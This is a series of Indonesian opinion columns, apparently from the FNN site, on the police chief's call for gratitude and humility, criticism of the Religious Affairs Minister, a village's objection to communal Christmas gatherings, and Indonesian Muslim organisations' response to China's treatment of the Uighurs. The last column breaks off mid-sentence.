AGAMA

Kapolri Ajak Polisi Banyak Bersyukur Kepada Allaah SWT

Sikap rendah hati setiap anggota polisi itu sangat dibutuhkan. Polisi juga dituntut untuk selalu memahami lingkungan masyarakat sekitarnya. Polisi perlu memahami tata nilai, tata sosial dan tata budaya yang tumbuh dan berkembang di dalam masyarakat. Polisi harus bisa membedakan mana saja itu urusan agama, adat-istiadat, kebiasaan, tradisi dan budaya yang hidupdan berkembang dalam masyarakat. Sebab masalah-masalah itu sangat erat kaitannya dengan tugas-tugas polisi dalam menjaga kamtibmas di masyarakat. By Kisman Latumakulita Jakarta, FNN – Waidz taadzdzana rabbukum, lain syakartum laaziidannakum walain kafartum inna adzaa bii lasyadiidun. Artinya, “dan ingatlah ketika Tuhanmu memaklumkan, susungguhnya jika kamu bersyukur, niscaya Aku (Allaah SWT) akan menambah nikamat kepadamu. Namun jika kamu ingkar kepada nikmat-Ku (Allaah SWT), maka ingatlah bahawa azabku amat berat”. Anjuran tentang pentingnya manusia bersyukur atas segala nikmat dan karunia yang Allaah SWT berikan itu, tertuang dalam Al-Qur’an Surat Ibrahim, ayat 7. Jika manusia ingin melipatkan gandakan karunia dan rahmat-Nya, maka syaratnya adalah memeperbanyak rasa syukur kepada Allaah SWT. Begitulah berita gemberi dari Sang Khalik sebagai penguasa atas segala sesuatu yang ada di langit dan di bumi. Sabaliknya, jika manusia ingkar terhadap segala nikmat dan karunia yang diberikan Allaah SWT, maka peringatan akan datangnya siksa dan azab dari Allaah kelek. Azab dan siksa Allaah kepada manusia yang kufur atas nikmat dan karunia tersebut, amat pedih dan sangat berat. Untuk itu, mari perbanyak sikap untuk selalu dan selalu bersyukur dan bersykur kepada Allaah SWT atas segala nikmat dan karunianya. Subhanallaah, begitulah kira-kira intisari dari pengarahan Kapolri Jenderal Polisi Idham Azis kepada jajaran kepolisian di wilayah hukum Polda Sulawesi Barat. Jendral Idham menyampaikan pengarahan kepada para anggota polisi itu, pada Minggu 12 Januari 2019 di Mamuju Sulawesi Barat. Kapolri memang sedang berada Mamuju, hari Minggu lalu sebagain bagian dari kunjungan kerja ke Sulawesi Tenggara, Sulawesi Barat dan Sulawesi Selatan. Tidak ada yang sempurna dan serba cukup dalam kehidupan ini. Sama dengan tidak ada yang sempurna juga dalam melaksanakan tugas sebagai anggota polisi. Untuk mengatasi tidak adanya kesempurnaan itu, bahkan mungkin serba tidak cukup, maka perbanyaklah raya syukur dalam diri setiap anggota polisi. Sebab hanya dengan bersyukur itu, anggota polisi bisa menatap masa depan dengan lebih baik. Idham mengatakan kepada jajarannya bahwa dirinya adalah anak orang kampung. Sama seperti sebagian besar anggota polisi lain, yang juga berasal dari kampung. Dengan modal memperbanyak rasa syukur dan belajarlah, Idham sampai hari ini masih tetap menjadi anggota polisi. Sekarang alhamdulillaah dipercaya oleh pemimpin sebagai pimpinan nomor satu di polisi. Nampaknya sikap dan keputusan untuk mempertebal dan memperbanyak rasa syukur kepada Allaah SWT telah menjadi pilihan hidup Idham. Mungkin juga bersyukur adalah harta paling berharga yang diwariskan oleh kedua orang tua kepada Idham. Sebab kalau Idham tidak mempunyai rasa syukur yang tinggi, sangat mungkin pekerjaan Idham hari ini adalah mengangkut batu karang di pinggir laut. Rendah Hati Wujud dari besarnya rasa syakur kepada Allaah SWT tersebut adalah bersikap rendah hati kepada masyarakat. Sebab pelayanan adalah bagian dari tugas polisi kepada masayarakat. Tugas polisi itu melayani, mengayomi, dan melindungi masyarakat. Tugas itu berakibat polisi akan selalu berhadapan dengan dinamika masyarakat yang sangat tinggi. Dan dinamika itu bisa berubah setiap saat. Menghadapi dinamika masyarakat yang sangat tinggi tersebut, sangat diperlukan sikap dan prilaku polisi yang rendah hati. Sebab dengan bersikap rendah hati, membuat masyarakat akan suka dan simpati kepada institusi kepolisian. Kalau masyarakat sudah simpati, maka tugas-tugas polisi dalam menjaga memelihara ketertiban dan keamanan masyarakat (Kamtibmas) menjadi mudah. Sikap rendah hati itu, telah dicontohkan Idham selama dua bulan setengah menjabat Kapolri. Misalnya, Idham tidak mau dikawal oleh pengawal polisi secara berlebihan selama di jalan raya. Untuk menghindar dari kemacetan kalau mau menghadiri rapat di Istana Negara, Istana Wapres, dan Menkopolhukam, Idham biasakan diri berangkat dari kantor minimal satu jam sebelum rapat dimulai. Misalnya kalau rapat jam satu siang, Idham sudah berangkat dari Mabes Polri sebelum jam dua belas. Dengan demikian, Idham tidak lagi memerlukan pengawal yang banyak membuka jalan dari kemungkinan kemacetan menuju ke tempat rapat. Langkah kecil ini coba dilakukan Idham untuk membangun empati masyarakat kepada institusi polisi lebih dari yang sudah ada. Mungkin saja pada jam yang sama, masyarakat juga sedang berjuang keras untuk keluar dari kemacetan. Masyarakat mungkin sudah lebih dulu terperangkap dalam kemacetan yang panjang. Jika dalam suasana kemacetan yang panjang itu, mobil Kapolri berusaha untuk mendahului dan dengan membuka jalan, maka kemungkinan keluar sumpah serapah dari masyarakat, namun sumpahan itu hanya di dalam hati. Kebijakan untuk tidak mau dikawal secara mencolok juga diperlihatkan Kapolri Idham saat berkunjung ke daerah-daerah. Idham juga tidak suka dijemput oleh para Kapolres di bandara. Idham tetap saja memperlihatkan bahwa dirinya adalah adalah anak orang kampung, dari Suku Bugis, Kabupaten Soppeng, Sulawesi Selatan, yang lahir dan besar di Kendari Sulawesi Tenggara. Penujukan Idham sebagai Kapolri adalah amanah yang harus dipertanggung jawabkan dunia akhirat. Tugasnya memimpin dan memastikan bahwa fungsi-fungsi pelayanan, pengayoman dan perlidungan kepada masyarakat, bersama-sama dengan harta benda masyarakat dapat berjalan dengan lancar. Itu yang sangat penting. Tidak lebih, tidak juga kurang. Sikap rendah hati setiap anggota polisi itu sangat dibutuhkan. Polisi juga dituntut untuk selalu memahami lingkungan masyarakat sekitarnya, dengan dinamika yang yang tinggi itu. Polisi perlu memahami tata nilai, sosial dan tata budaya yang tumbuh dan berkembang di dalam masyarakat. Polisi harus bisa membedakan mana saja yang menjadi urusan agama, adat-istiadat, kebiasaan, tradisi dan budaya yang hidup dan berkembang di dalam masyarakat. Sebab masalah-masalah itu sangat erat kaitannya dengan tugas-tugas polisi dalam menjaga kamtibmas di lapangan. Idham bercerita tentang pengalamannya menjabat Kapolda Metro Jaya selama delapan belas bulan. Ibu Negara, Iriana Jokowi, kalau pulang ke Solo, tidak ada pejabat atau Paspampres yang ikut mengantar di bandara. Menunggu untuk naik ke pesawat saja, di ruang tunggu biasa. Bergabung dengan masyarakat di ruangh tunggu. Untuk pengamanan keluarga Presiden (standar VVIP), paling banyak hanya ada dua anggota Paspampres yang liat-liat dan memantau dari kejauhan. Untuk itu, menjadi sangat lucu dan aneh saja kalau ada istri Kapolres yang dikawal berlebihan bila mau berangkat naik ke pesawat atau berangkat ke Jakarta. Apalagi kalau yang berangkat itu istrinya Kapolda. Bisa-bisa rung tunggu VVIP di bandara tersebut penuh sesak dengan pejabat kepolisian. Untuk itu, Idham memulai perubahan kecil-kecil itu dari dalam dirinya sendiri. Idham juga tidak terlihat menggunakan plat mobil bintang empat pada mobil dinas Kapolri. Khususnya di hari-hari kerja, Senin sampai Jum’at. Selain itu, sejak menjabat Kapolri, sudah tidak ada lagi pagar beton setinggi setengah meter lebih yang mengelilingi rumah dinas Kapolri di jalan Pattimura, Jakarta Selatan. Begitu juga dengan pengamanan di rumah dinas Kapolri. Sekarang tidak lagi tampak ada anggota polisi bersenjata lengkap yang berjaga-jaga di luar rumah dinas Kapolri. Semua yang dilakukan Kapolri Idham Azis ke dari dalam internal ini, mudah-mudahan saja semakin menyatukan, rekekatkan dan mendekatkan masyarakat dengan polisi. Masyarakat adalah pemilik dan pemegang saham utama dari institusi polisi. Bukan pemerintah. Untuk itu, kesuksesan polisi harus dilihat dari kepuasan masyarakat terhadap tugas-tugas pelayanan, pengayoman dan perlindungan kepada masyarakat. Penulis adalah Wartawan Senior

Menag Kok Begini

Menteri Agama seharusnya menjadi benteng uatama pemeliharaan agama-agama dalam menghadapi pengaruh kapitalisme dan liberalisme di Indonesia. Bukan sebaliknya, pengobok-obok agama yang telah menjadi pular utama pejuangan bangsa melawan penjajah dulu. By M. Rizal Fadillah Jakarta, FNN - Setelah ramai jadi figur terdepan anti radikalisme, pak Menteri Agama (Menag) langsung menggebrak. Cadar dan celana cingkrang menjadi sasaran pertama dari isu dan kebijakan Menag. Lanjut dengan langkah pemberangusan kurikulum yang bermuatan materi jihad dan khilafah. Kemudian setelah itu ramai soal madrasah yang akan berbahasa mandarin, disamping bahasa asing lain seperti bahasa inggris. Padahal publik negeri ini sedang peka-pekanya terhadap urusan dan hal-ihwal yang berkaitan dengan China. Masalah yang paling krusial adalah membanjirnya tenaga kerja China, maupun pelanggaran di perairan Kepulauan Natuna. Lho Menag kok begini. Mutakhir dari Menag adalah menyalahkan pemahaman Islam di Aceh. Menag bilang di Aceh tidak ada bioskop. Menag merujuk pada kota Jeddah, Arab Saudi yang ada bioskop. Kini pemerintah Arab Saudi membuat kebijakan yang membolehkan keberadaan bioskop. Serangan Menag terarah ke Aceh. Lalu apa yang salah dengan pemahaman Islam di Aceh? Adalah hak setaip daerah, untuk ada atau tidak ada bioskop. Apalagi Aceh sebagai Daerah Istimewa. Membandingkan dengan keberadaan bioskop di Jeddah dengan Aceh, sebenarnya sangatlah tidak proporsional, meski Saudi Arabia memang baru sekarang mengambil "open policy" seperti itu. Jeddah bukanlah "forbidden city" atau kota terlarang. Sebab agama-agama non muslim juga ada di Jeddah. Apalagi sekedar hanya ada bioskop. Tentu saja ada kebijakan yang berbeda antara Jeddah dengan Mekkah atau Madinah. Sebab di dua kota "haramain" ini tidak boleh ada bioskop. Hiburan pun hanya terbatas untuk menjaga aspek keagamaannya. Coba pak Menag datanglah ke Mekkah atau ke Madinah. Pasti Menag tidak akan berkomentar sompral menyalahkan Islam Aceh. Bukankah spirit Aceh itu untuk menjadi "Serambi Mekkah" ? Pak Menteri Fachrul Razi memang sejak pengangkatannya dinilai kontroversial. Nahdatul Ulama (NU) terkesan kesal dengan kebijakan Jokowi. Sebab Jokowi mengangkat Menteri Agama yang tidak merepresentasi wakil dari NU. Padahal Kementerian Agama, sudah sejak negeri ini merdeka, menjadi konvensi tidak tertulis untuk ditempati oleh wakil dari NU. Berbasis TNI dengan tugas utama menghadapi "radikalisme" dan "intoleransi". Arah pada umat Islam sulit untuk diterima. Menag terlalu tendensius dan tidak simpatik. Agama merupakan masalah yang peka, dan jika dipaksakan pemahaman seragam, maka bisa berujung pada antipati dan friksi. Serangan soal cingrang, jihad, khilafah, dan bioskop jelas kontra produktif. Kasarnya Menag cuma cari gara-gara soal kemerdekaan dan kebebasan beragama yang dijamin oleh konstitusi. Meruntuhkan fanatisme beragama sama saja dengan menghancurkan agama itu sendiri. Menteri Agama seharusnya menjadi benteng uatama pemeliharaan agama-agama dalam menghadapi pengaruh kapitalisme dan liberalisme di Indonesia. Bukan sebaliknya, pengobok-obok agama yang telah menjadi pular utama pejuangan bangsa melawan penjajah dulu. Bahwa ada oknum yang menyimpang, sebaiknya dilokalisasi pada oknum tersebut. Bila perlu dihukum. Bukan dengan generalisasi pemahaman atau interpretasi adakah otoritarian. Ironi sekali jika menuduh orang intoleran atau radikal, padahal dirinyalah yang otoriter dan radikal tersebut. Baiknya pak Menag agak bersabar dan toleran. Jangan gampang menyalahkan orang lain. Biarkan saja rakyat Aceh di kota tertentu melarang ada bioskop tidak ada bioskop. Toh tujuannya baik, yakni menjaga moral bangsa. Sebab masalah merosotnya moral bangsa sedang menjadi penyakit yang mewabah. Buktinya, korupsi terjadi pada hampir semua lini kehidupan berbangsa dan bernegara kita. Janganlah sampai moral pemimpin yang buruklah yang dijadikan contoh. Seperti seorang Gubernur yang menantang, dengan mengatakan, “apa salahnya memiliki kegemaran nonton video porno”? Salahnya sudah jelas, namun tidak tahu malu. Akiabtnya, makan duit haram ratusan dollar pun tidak akan malu. Pak Menteri harus lebih menyosialisasikan dua budaya bagi pembangunan karakter bangsa. Pertama, budaya malu (shame culuture). Kedua, budaya merasa berdosa (sin culture). Dua cama budaya yang mendesak, dan sangat dibutuhkan bangsa Indonesia saat ini. Krisis dan kehancuran moral bangsa Indonesia sekarang ini, karena para pemimpin telah tergerus rasa malu dan rasa berdosanya. Yang inilah tugas utama Menteri Agama. Bukan sibuk di urusan yang justru mengganggu stabilitas umat beragama. Koreksi diri jauh lebih baik. Semoga ke depan tidak ada lagi anak bangsa ini yang menyatakan "Menag kok begini". Penulis adalah Pemerhati Politik

Jangan Asal Omong Soal Larangan Natal di Dharmasraya

Di Sikabau tidak ada gereja. Ini sesuai dengan ketentuan populasi untuk mendirikan geraja. Hanya ada 6 KK Kristen. Jika mereka ingin merayakan Natal secara berjemaah, ada tempatnya. Ada gereja di Sawahlunto. Selama ini, kesepakatan itu selalu dihormati. By Asyari Usman Jakarta, FNN - Isu larangan perayaan Natal di Nagari (Desa) Sikabau, Kecamatan Pulau Sijunjung, Kabupaten Dharmasraya, Sumatera Barat, menjadi viral di media sosial akibat provokasi. Di tengah suasana yang sensitif belakangan ini, apa saja topik yang terkait dengan hubungan antar-pemeluk agama, sangat mudah marak. Apalagi ada narasi “larangan Natal”, pastilah akan gemuruh. Para buzzer bayaran selalu berada di barisan depan dalam mengompori suasana. Padahal, mereka tidak paham masalah yang terjadi di Nagari Sikabau. Dan tidak mengerti bahwa masih banyak kampung-kampung di Sumbar yang belum mengenal perayaan Natal. Kabupaten Dharmasraya adalah salah satu kabupaten yang belum lama bersentuhan dengan non-Islam. Orang Kristen baru masuk ke daerah itu sekitar 1980-an. Pada saat ini, di kabupaten itu hanya ada 44 keluarga (KK) Kristen. Di Nagari Sikabau sendiri hanya ada 6 (enam) KK Kristen. Sebelum 1980, tidak ada orang Kristen di Dharmasraya. Mereka masuk ke daerah itu dengan membeli tanah/lahan milik orang Jawa yang memutuskan untuk kembali ke pulau Jawa. Orang-orang Jawa yang masuk ke Dgarmasraya, dan akhirnya sampai ke Nagari Sikabau, adalah para pekerja tambang batubara di Sawahlunto dan pabrik semen Indarung. Menurut cerita orang-orang tua di Sikabau, orang-orang Jawa itu lari dari kerja berat ala Belanda di tahun 1940-an. Mereka terdampar dan terlantar di wilayah Dharmasraya yang pada 2003 berubah menjadi Kabupaten Dharmasraya. Warga Sikabau menolong mereka. Kepada para pendatang Jawa itu disediakan lahan untuk bersawah. Tempat tinggal mereka berbentuk pondok besar (bedeng panjang) dibuatkan oleh warga. Pendatang Jawa dan warga Sikabau membuat perjanjian soal kepemilikan lahan/tanah. Para pendatang bersedia mematuhi perjanjian untuk tidak menjual lahan atau rumah mereka kepada orang non-Muslim. Bagi masyarakat Dharmasraya, dan juga beberapa kabupaten lain yang tulen berpenduduk Muslim, perjanjian itu sangat penting. Orang Minang umumnya memiliki aturan adat-istiadat yang ketat dan dijunjung tinggi. Adat-itiadat itu berlandaskan syariat, dan syariat itu berlandaskan Al-Quran. Inilah yang tersurat di dalam “ideologi” Minang yang berbunyi. “adaik basandi syarak, syarak basandi kitabullah”. Yaitu, “adat bersendikan syariat, syariat bersendikan Al-Quran”. Hal-ihwal agama Islam sangat fundamental bagi warga Minang. Meskipun sekarang keberagaman sudah lumrah di Minangkabau, tetapi bagi daerah-daerah tertentu masih tinggi resistensi terhadap praktik-praktik keagamaan non-Islam, termasuklah perayaan Natal. Di kampung-kampung seperti Nagari Sikabau, penduduknya belum terbiasa melihat prosesi perayaan Natal. Dengan jumlah 6 KK saja orang Kristen di Sikabau, warga di situ mungkin merasa perayaan Natal berat untuk diterima. Akhirnya, pada 21 Desember 2017, Wali Nagari Sikabau, para pemuka adat (ninik mamak), serta tokoh pemuda membuat pernyataan keberatan terhadap perayaan Natal dalam format berjemaah yang dilaksanakan di rumah warga Kristen. Tetapi, keenam keluarga Kristen itu dibolehkan melaksanakan perayaan Natal di rumah masing-masing tanpa mengundang tamu. Di Sikabau tidak ada gereja. Ini sesuai dengan ketentuan populasi untuk mendirikan geraja. Hanya ada 6 KK Kristen. Jika mereka ingin merayakan Natal secara berjemaah, ada tempatnya. Ada gereja di Sawahlunto. Selama ini, kesepakatan itu dihormati. Nah, masuk akalkah keberatan warga Sikabau terhadap perayaan Natal beramai-ramai di sebuah rumah? Pertanyaan ini hanya bisa dijawab dengan perasaan. Tidak perlu cara “blowing up” yang dilakukan oleh Sudarto, manajer PUSAKA Foundation di Padang. Dia ini termasuk yang sengaja membesar-besarkan keberatan warga Sikabau terhadap perayaan Natal. Pada 23 Desember kemarin, Sudarto mengeluarkan pernyataan pers. Isinya, dia senang karena tahun ini (2019) umat Katolik stasi Santa Anastasia Jorong Kampung Baru, Nagari Sikabau, bisa merayaan Natal. Tekanan penguasa nasional berhasil dihimpun oleh Sudarto. Dan dia agak sesumbar dalam ‘press release’ dan di akun FB-nya. Sudarto mengatakan, hasil tekanan nasional itu masih harus dikawal terus. Beginikah cara yang baik untuk menjaga persaudaraan kebangsaan? Mungkin Sudarto bisa menjelaskannya. Seorang teman di Sikabau bercerita bahwa tekanan kekuasaan nasional itu dikerahkan dalam bentuk mirip intimidasi terhadap warga Sikabau. Sejak kemarin, di kampung kecil itu ada satuan Brimob dan bahkan Densus 88. Banyak pula intel yang berkeliaran. Warga Sikabau, kata sejumlah sumber, merasa tekanan kekuasan itu berlebihan. Tetapi, inilah akibat dari orang-orang yang mengeluarkan pernyataan “asbun” tentang larangan Natal yang viral itu. Warga pastilah senyap melihat petugas keamanan yang hadir dengan “high profile”. Penulis adalah Wartawan Senior

Tamparan "Wall Street Journal" untuk Ormas Islam Indonesia

Oleh Mochamad Toha Jakarta, FNN - Sejarah mencatat, hanya 20 tahun setelah Nabi Muhammad SAW wafat, umat Islam tiba di Uighur, Xinjiang, perbatasan China, 3.000 km jauhnya dari Mekah. Itulah sejarah awalnya Islam masuk wilayah Kerajaan China. Kaisar Tang (China) menawarkan perdamaian. Ini ditandai dengan diterimanya utusan dari sahabat Nabi, Saad bin Abi Waqqash ra di pusat Kerajaan China. Saat itu belum ada yang namanya China Komunis. Uighur bergabung dalam Daulah Islam di masa Utsman bin Affan ra., dari Uighur inilah teknologi kertas pindah dari China ke negeri muslim, sehingga dimulailah penyusunan mushaf Qur’an Utsmani. Selama 1.400 tahun Uighur tetap menjadi negeri muslim, walaupun pernah dikuasai Mongol di abad 13 M, bahkan semasa era imperialis Eropa yang menjajah China, para jago kungfu Uighur, Xinjiang, ikut terlibat dalam perlawanan mengusir penjajah Eropa. “Salah satunya dalam tragedi the Boxer, dimana banyak jagoan kungfu Uighur menghabisi tentara gabungan Inggris-Eropa di kota-kota China tahun 1900-an,” ujar KH Fahmi Salim, Wakil Komisi Dakwah MUI Pusat. Menurut Wakil Sekjend MIUMI Pusat itu, ketika Mao Tse Tung komunis terusir dari kota-kota China pada 1940-an, ia lari ke Xinjiang, menumpang hidup di wilayah Uighur. Kini China komunis berbalik, menghabisi semua simbol Islam, dari negeri yang tersisa Islam-nya di China. Sebab semua sejarah Islam di China sudah banyak dihapus, yang membuat kita tidak paham Wong Fei Hung itu seorang muslim. Bahwa saat Kaisar Ming China berkuasa pada abad 15 M, pejabatnya didominasi gubernur dan jenderal muslim hingga melahirkan Laksamana Cheng Ho. Saat revolusi China oleh Sun Yat Sen pada 1910 masih ada jendral China yang muslim. Pada 1945 saat Mao komunis berkuasa, beberapa jendral China yang muslim menyelamatkan diri ke Taiwan. Mao yang pernah “berlindung” di wilayah Uighur itu tidak bisa berbalas budi. Sejak Mao berkuasa, China mulai menindas Uighur. Etnis atau suku Uighur adalah kelompok minoritas keturunan Turki yang berasal dari dan terhubung dengan kebudayaan Asia tengah. Orang Uighur tidak sama dengan orang China. Baik secara fisik maupun psikis. Perawakan mereka berbeda dari orang Han atau suku-suku lain di China. Ideologi dan tradisi Uighur juga berbeda. Sejarah mencatat, China mengimplementasikan kebijakan yang sangat kejam terhadap umat Islam Uighur. Sejak zaman Mao Tse Tung, China tak pernah berhenti menindas Uiguhr. Mao mengirimkan migran suku Han (mayoritas di China) dalam jumlah besar ke wilayah Turkestan Timur (yang kemudian diberi nama Xingjiang setelah dicaplok China). Program transmigrasi ini bertujuan untuk membuat suku Uighur menjadi minoritas. China berhasil. Uigur menjadi warga minoritas di negerinya sendiri. Penindasan berlangsung terus. Hampir satu juta warga Uighur dikurung di dalam camp konsentrasi. China komunis mengatakan mereka direedukasi (dididik ulang). Di camp konsentrasi yang sangat besar, warga Uigur dipaksa mengikuti ajaran komunis. Dipaksa meninggalkan ajaran Islam. Bahkan dipaksa memakan daging babi. Dipaksa tidak berpuasa di bulan Ramadan. Itulah yang dilakukan oleh rezim China komunis. Reaksi dunia Islam atas perlakuan China terhadap etnis Uighur sudah banyak dikecam masyarakat Muslim dunia, tidak terkecuali di Indonesia. Sayangnya ini tidak dilakukan Ormas Islam-nya. Itulah yang kemudian membuat The Wall Street Journal (WSJ) menurunkan tulisan terkait bungkamnya ormas Islam di Indonesia seperti Muhammadiyah, Nahdlatul Ulama, dan MUI. Sikap Pemerintah juga sami mawon: Bungkam! Bahkan, seperti diungkap Salim Said yang mengutip pernyataan tokoh Muhammadiyah Din Syamsudin, Presiden Joko Widodo sendiri tidak mau menerima utusan Uighur yang ingin bertemu di Istana Merdeka. Yang membuat heboh artikel itu adalah tudingan WSJ atas sikap diamnya Muhammadiyah, NU, dan MUI. Ormas Islam yang mewakili umat Islam di Indonesia itu, ternyata tak punya sikap tegas atas perlakuan pemerintah China pada etnis Uighur. WSJ dalam edisi Rabu (11/12/2019) berjudul “How China Persuaded One Muslim to Keep Silent on Xinjiang Camps” menyebut, Muhammadiyah, NU, dan MUI mendapat gelontoran dana dari pemerintah China sehingga bungkam dan sikapnya berubah terhadap muslim Uighur. Mengutip wartawan senior Hersubeno Arief dalam tulisannya, penulis artikel tersebut adalah Jonathan (Jon) Emont koresponden WSJ yang berbasis di Hongkong. Dia banyak menulis soal Uighur dan Rohingya. Sebelum bergabung dengan WSJ, wartawan yang fasih berbahasa Indonesia ini pernah tinggal di Jakarta. Dia menjadi koresponden freelance untuk sejumlah media yang sangat prestisius New York Times, Washington Post, dan Financial Times. WSJ adalah jaringan media sangat tua dan berpengaruh di AS. Didirikan pada 8 Juli 1889 di New York. Usia WSJ bahkan lebih tua dibanding Muhammadiyah yang didirikan pada 18 November 1912 di Jogjakarta. Pada masa jayanya, WSJ pernah menjadi koran terbesar di AS dengan oplah harian 2,6 juta eksemplar (2005). WSJ juga menerbitkan edisi Asia dan Eropa. WSJ dikenal dengan tradisi jurnalistik yang sangat kuat. Pilihan editorialnya cukup konservatif dan prudent. Pemerintah China melalui Duta Besarnya di Jakarta sudah membantah keras tudingan itu. Secara terbuka dia menuding berita tersebut sebagai operasi media oleh pemerintah AS, sebagai bagian dari Perang Dagang kedua negara. Artinya pemerintah China secara tidak langsung menuding WSJ digunakan oleh pemerintah AS, sebagai operasi intelijen terbuka dalam pembentukan opini dunia. Sejauh ini pemerintah AS masih bungkam. Hersubeno Arief menyebut, lepas dari perseteruan WSJ dengan ormas Islam di Indonesia, kisruh ini jelas merupakan imbas Perang Dagang dan perebutan supremasi global antara China dan AS. Dalam pembentukan opini dunia, China kalah jauh dibandingkan AS. China disebut babak belur di Hongkong. Mereka tampaknya benar-benar waspada dan mengantisipasi jangan sampai isu Muslim Uighur berkembang menjadi bola liar yang panas. Apalagi kemudian menjadi Hongkong berikutnya (the next Hongkong). Yang jelas, “medan perang” antara WSJ versus Ormas Islam itu kini beralih ke Indonesia. Jangan-jangan ini adalah bagian dari contra attack yang berhasil dilakukan China atas WSJ. China tidak perlu repot-repot lagi menghadapi WSJ. Cukup dihadapi ormas Islam. Undangan kepada sejumlah ormas Islam, akademisi, wartawan dari Indonesia, dan Malaysia yang dilaksanakan Februari 2019, tampaknya merupakan upaya China memperbaiki citranya dan memenangkan opini dunia soal muslim Uighur. Hersubeno Arief menilai, pemberitaan WSJ memberi pukulan telak dan menghancurkan upaya public relation dan pembentukan opini, yang susah payah dibangun China di negara-negara dengan mayoritas beragama Islam. Ormas Islam di Indonesia terkena dampak dari pertarungan dua negara adidaya itu. Apalagi isu Cihna di Indonesia sangat sensitif. Baik berkaitan dengan dominasi ekonomi minoritas China di dalam negeri, maupun serbuan investasi China daratan di Indonesia. Makanya, tidak heran jika Presiden Jokowi tampak sangat hati-hati menyikapi isu ini. Bila salah dalam mengambil posisi, bisa menjadi musuh salah satu negara adidaya. Sikap AMI Ustadz Azzam Mujahid Izzulhaq (AMI) ternyata sudah pernah berkunjung ke Uighur, sebelum "delagasi" Ormas Islam diundang oleh Pemerintah China. Bahkan, Ustadz Azzam telah pula bicara soal Uighur dalam forum internasional. Berikut catatannya. Silakan kalian yang di sana sibuk saling bantah mengenai 'uang tutup mulut' yang telah dibuka oleh The Wall Street Journal. Lagian, sudah hampir satu tahun pasca kunjungan undangan itu kenyataannya kalian memang diam kok. Beragam progam donasi dan beasiswa dari pemerintah China untuk kalian pun sudah kalian terima, bukan? Akui saja. Tenang, saya tidak akan iri. Saya pun juga sudah satu tahun setelah saya lebih dahulu dari kalian menginjakkan kaki menembus negeri misterius di Xinjiang, China, saya tidak tinggal diam. Bahkan, kalian diundang justru untuk meng-counter karena berbagai pernyataan saya di forum dan media internasional. Kenapa demikian? Karena satu hal saja: tidak ada satu pun yang bisa membeli saya. Saya sudah kaya. Uang banyak kebutuhan tidak ada. Oh ya, jawaban kalian tentang Muslim Uyghur kenapa SELALU satu suara ya? Bahkan satu nada dengan isu yang dikembangkan di tanah air kita: RADIKAL. Tidak adakah tangga nada lain? Atau memang itu adalah arahan 'komposer' dan 'produser' agar paduan suara terdengar kompak berirama? Tapi ya terserah! Tak penting pernyataan kalian. Bagi saya, mengembalikan hak-hak Muslim Uyghur untuk kembali bebas beribadah menjalankan agama dan keyakinannya (dan juga agama lainnya) adalah yang utama. Karena, itu yang mereka titipkan jeritannya kepada saya secara langsung. Mereka tidak menitipkan keinginan untuk berlepas diri dari China. Mereka tidak ingin menjadi pemberontak bagi China. Mereka cuma ingin sholat, ingin ke masjid, ingin menutup aurat, ingin membaca Al Quran. Oleh sebab itulah saya ada. Saya bersama mereka. Apa pun resikonya. Di tangan saya adalah Mushaf Al Quran dengan terjemahan Bahasa Uyghur yang akan dihadiahkan untuk saudara Muslim Uyghur untuk memenuhi hak dasar kebutuhan beragama mereka. Terkait dengan polemik dan tudingan SWJ, sekarang ini kembalikan ke masing-masing pribadi. Percaya SWJ, ormas Islam yang bungkam, atau Ustadz Azzam? Penulis Wartawan Senior

Soal Uigur, Zeng Wei Jian Termakan Propaganda China Komunis

By Asyari Usman Jakarta, FNN - Seorang penulis dengan ceroboh menyebut para pejuang Uigur, teroris. Dalam tulisan yang berjudul “In the Name of Uyghur”, Zeng Wei Jian (ZWJ) seenaknya menggolongkan para pejuang HAM Uigur dengan sebutan yang menyakitkan itu. Persis seperti penguasa kejam RRC mencap mereka. Zeng Wei mengatakan, “Aktifitas teroris Uyghur meningkat sejak tahun 2012.” Hampir pasti, labelisasi teroris terhadap para pejuang Uigur seperti kalimat di atas ini adalah propaganda RRC. Dengan ikut menyebut pejuang Uigur teroris, si penulis jelas menjadikan dirinya sebagai corong penguasa China komunis yang melakukan penindasan terhadap kaum muslimin Uigur. Zeng Wei termakan propaganda China. Labelisasi teroris itu tidak hanya menyakitkan orang Uigur, tetapi juga menusuk perasaan umat Islam Indonesia. ZWJ mungkin menganggap bahwa orang Indonesia tidak paham sejarah Uigur. Dia mencoba mengelabui publik. Dia katakan bahwa warga Uigur adalah orang Tionghoa campuran antara Turkestan dan Han. Ini pembohongan publik. Orang Uigur adalah kelompok minoritas keturunan Turki yang berasal dari dan terhubung dengan kebudayaan Asia tengah. Orang Uigur tidak sama dengan orang China. Baik secara fisik maupun psikis. Perawakan mereka berbeda dari orang Han atau suku-suku lain di China. Ideologi dan tradisi Uigur juga berbeda. Yang lebih memuakkan lagi adalah pembelaan Zeng untuk rezim brutal RRC. Dia mengatakan, “Mereka koar-koar Tiongkok anti-Islam.” Tidak lain, ini ditujukan Zeng Wei kepada orang-orang yang menyuarakan pembelaan untuk Uigur. Selain itu, kalimat ini menunjukkan bahwa ZWJ berpendapat RRC tidak anti-Islam. Padahal, sejarah mencatat rezim RRC mengimplementasikan kebijakan yang sangat kejam terhadap umat Islam Uigur. Zeng menutup mata bahwa sejak zaman Mao Tse Tung, RRC tak pernah berhenti menindas Uigur. Mao mengirimkan migran suku Han (mayoritas di RRC) dalam jumlah besar ke wilayah Turkestan Timur (yang kemudian diberi nama Xingjiang setelah dicaplok China). Program transmigrasi ini bertujuan untuk membuat suku Uigur menjadi minoritas. China berhasil. Uigur menjadi warga minoritas di negerinya sendiri. Penindasan berlansgung terus. Hampir satu juta warga Uigur dikurung di dalam kam konsentrasi. China komunis mengatakan mereka direedukasi (dididik ulang). Di kam yang sangat besar, warga Uigur dipaksa mengikuti ajaran komunis. Dipaksa meninggalkan ajaran Islam. Bahkan dipaksa memakan daging babi. Dipaksa tidak berpuasa di bulan Ramadan. Itulah yang dilakukan oleh rezim komunis RRC. Zeng Wei, entah karena apa, menyediakan dirinya menjadi propagandis komunis China itu. Dia mengatakan sesuatu yang sangat menusuk kaum Uigur. Di salah satu paragraf “In the Name of Uyghur”, Zeng mengerdilkan dan melecehkan orang Uigur. Kata Zeng Wei, “Separatis Uyghurs menghibur diri dengan “the Right of Ancestry” (Hak Leluhur). Ini dikatakan Zeng terkait dengan apa yang dia gambarkan sebagai “perlakuan baik rezim China terhadap umat Islam dari suku Hui”. Umat Islam Hui dikatakan ‘implicitly’ oleh Zeng Wei punya hubungan baik dengan rezim komunis. Mereka dibolehkan menjalankan ajaran Islam, mempunya banyak masjid, dll. Padahal, semua ini 